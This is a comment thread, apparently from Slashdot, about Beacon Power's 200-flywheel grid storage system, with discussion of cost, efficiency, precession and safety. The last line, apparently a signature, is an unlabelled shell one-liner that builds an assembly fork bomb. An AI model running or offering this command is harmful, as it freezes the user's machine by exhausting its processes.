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Using Flywheels to Meet Peak Power Grid Demands
hackertourist writes "A novel type of electricity storage was recently added to the New York power grid. The unit, supplied by Beacon Power, uses flywheels to store energy. This system is intended to replace gas turbines in supplying short-term peaks in power demand (also known as frequency regulation). It can supply up to 20 MW, using 200 flywheels."
If you can't afford a 200-flywheel system, you can always get a racetrack-ready Porsche 911 GT3 R Hybrid, which has a single energy-storage flywheel that can give you a 160 HP burst of power when you need a little extra oomph.
From the article: Beacon Power's spinning flywheels, which are made of carbon fiber and levitated in a vacuum by magnets, absorb energy from the grid and discharge 1 megawatt for as much as 15 minutes
My grandfather was a manager with the utilities department for the city of Oshawa, Ontario. He described using this exact technology 60 years ago- a giant wheel maintaining momentum to keep the output predictable despite unpredictable input. Mind you, I don't think he was working on the 20MW range...
Dumb question, I suppose. But, given that the earth rotates, and given that the flywheels will have a huge angular momentum, are they gimbaled? The article says they're suspended in a vacuum, levitated on a magnetic field, which is cool. But if they're not gimbaled a huge amount of energy will be wasted fighting precession as the earth rotates.
I assume the people making these things are smart and know their shit. I'm just curious how a problem like this is solved. If not gimbals, what?
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Does an obese cat in a giant hamster wheel count as a flywheel? No? What if I just hooked up a DC generator to it and dangled some liver on a stick? How many Watts could I get?
Why don't these alternative energy/power storage articles ever include cost comparisons? What do these flywheels cost to buy and operate compared to what they're replacing?
5, because they only produce peak output for about 15 minutes.
"False hope is why we'll never run out of natural resources!" - Lewis Black
The Coriolis effect is far too small to have any significant impact on flywheels this small, it only really has an effect on large scale systems such as cyclonic storms and even then it's amplified due to the proximity to the equator.
I reject your reality and substitute my own.
About a decade ago these guys had or at least were advertising a tiny version of this technology for use as a UPS. It was supposed to be cost-competitive with medium-size units. Unfortunately it turns out that there's more profit in solving the peak demand problem by absorbing base load at night and delivering it during peak demand periods. Since they use maglev bearings, [partially] evacuated chambers, and magnetic induction, the units themselves are not only very efficient but should also have excellent longevity. It looks to me like they are making the chambers out of fairly standard (if sizable) pipe components.
"You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
No, it's ok. See, this is for generating electricity. It's mosly the electrons that move around. I don't think we really need the protons that much.
Jeff Veltri of Temporal Power has a flywheel design he claims can deliver twice the power at half the cost of the Beacon designs. Ten of his prototypes will be used for smoothing wind turbine power production. But his design is based on permanent magnets so I wonder how that'll fare which the rising cost of rare earth minerals.
http://www.thestar.com/business/article/978578--hamilton-a-new-spin-on-energy-storage
Pain is merely failure leaving the body
haha, +1 for funny posting :-)
But a serious question for anybody who can help - we know that there's no perfect energy retaining system, there will always be losss through friction etc, what sort of loss might you expect with these fly wheels? Do they return 50%, 80%, other amount back to the grid?
At present only industrial customers pay different rates for their electricity based on the time of day. Domestic electricity prices are constant all day. There is no incentive for anyone to defer their power consumption to off-peak hours, or to invest in any technology to smoothen out their power consumption curve. If we pay one price for the day time electricity and get a deep discount for the night time electricity, these fly wheel storage devices can be used to soak up energy at night and use it during the day. Since most of the day time power consumption is air conditioning, we could simply make ice/chill water at night and use it to cool the home during the day.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
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Although having just said all of that, I guess the answer is they are actually very similar in principle yes ;)
This is already standard practice. In fact, the entire fucking propeller acts a big flywheel. They are massive and balanced radially.
Liebert made one of these for server room UPSs. We never got one although the salesman tried to get us to buy it. The thought of that wheel sitting in the next room and spinning that fast spooked me. I am not religious but there is no need to constantly tempt fate by working next to that kind of energy day in and day out. I guess it is a good way to store energy but I really dont want one in my backyard, basement or server room. Let's see the explanation for that disaster. Well, we made it through the hurricane and the earthquakes and, nope, the fire did not take us out. However, when that damn flywheel got out of balance due to cheap magnets in the bearings.... Damn thing took out half the rack before going through the roof and into the cafeteria. Just saying, I like fire but I dont carry an incendiary grenade in my back pocket.
This aint Daytona and you aint Dale Earnhardt. So stop trying to draft on Interstate 40.
... the system can buffer $500 worth of power (5 MWh = 5000 KWh, $0.10/KWh wholesale).
And it cost $40 million to build (at least that's the size of the loan)? That's 40,000 times the value of the energy it can hold.
If the buffering keeps an expensive peaking source off-line, it might pay for itself in a few years of continuous use.
To a Lisp hacker, XML is S-expressions in drag.
like small nuclear bombs
25 kWh = 0.000021511 kT = 0.021511 T = 43 lbs of dynamite.
Not insignificant on a human scale, but pretty lame as nukes, or even conventional air-dropped bombs, go.
If it could release all the energy at once, in all directions, it'd probably make a mess of your house, if it were just sitting exposed in the living room. But, since the rotating part is well under ground level, the casing is evacuated, and the flywheel is made of the sort of impact-dissipating stuff car makers use to meet crash-safety requirements, it's going to be pretty lame as 43 lbs of dynamite goes, too.
I call this system less dangerous than a leaky gas pipe.
That average energy consumption isn't just electricity. Average electricity per person is just 1460 W for the US, which is what this system is for.
Might take awhile to pay itself off. Discover ran an article that priced a unit at $800 for one small flywheel.
No, TFA is confusing statistics of individual flywheels with clusters of them. The individual 25 kwh flywheels are grouped into modular clusters of 10: each of these 10-unit modules delivers 250 kwh (1 MW for 15 mins), and is the size of a couple of cargo containers. See this white paper from the manufacturer.
Flywheels have high power density by volume, weight and cost. Good for filling deep, short power gaps. Batteries have better energy density by volume, weight and cost. think of a flywheel as somewhere in between a battery and a capacitor.
Re: a flywheel's rotational momentium
That's an interesting point.... so the engineering solution is to upend the flywheel like a Farris wheel and angle it in the direction of the earth's rotation. But I wonder how much of an effect this would really have if you kept the flywheel planer to the earth's surface? This seems like a complicated but simple question at the same time. The desire for the flywheel to maintain it's angular momentum would lead to more force (and therefore friction) on the rotation barring, but it should not otherwise effect the speed of the flywheel (I think). So the loss would result from the barring turning some of that energy into heat due to increased friction. So the real interesting question is the optimization of resources (aka money), in asking which is cheaper over the long haul... to build the flywheel upright (like a Farris wheel) or to build it horizontal/flat. The upright method would cost more initially but would perhaps not lose the 0.01% of energy each hour (or whatever the number is) from the earth spinning effect? What is the break even time, etc.
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This would be an excellent anti car jacking technology. When you brake at the lights the external door handles would be charged. And you could fire charged darts at people who look like they might be thinking of becoming squeegee merchants - the car would track what you are looking at and if you gave them a look of disapproval it would fire a charged dart to incapacitate them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;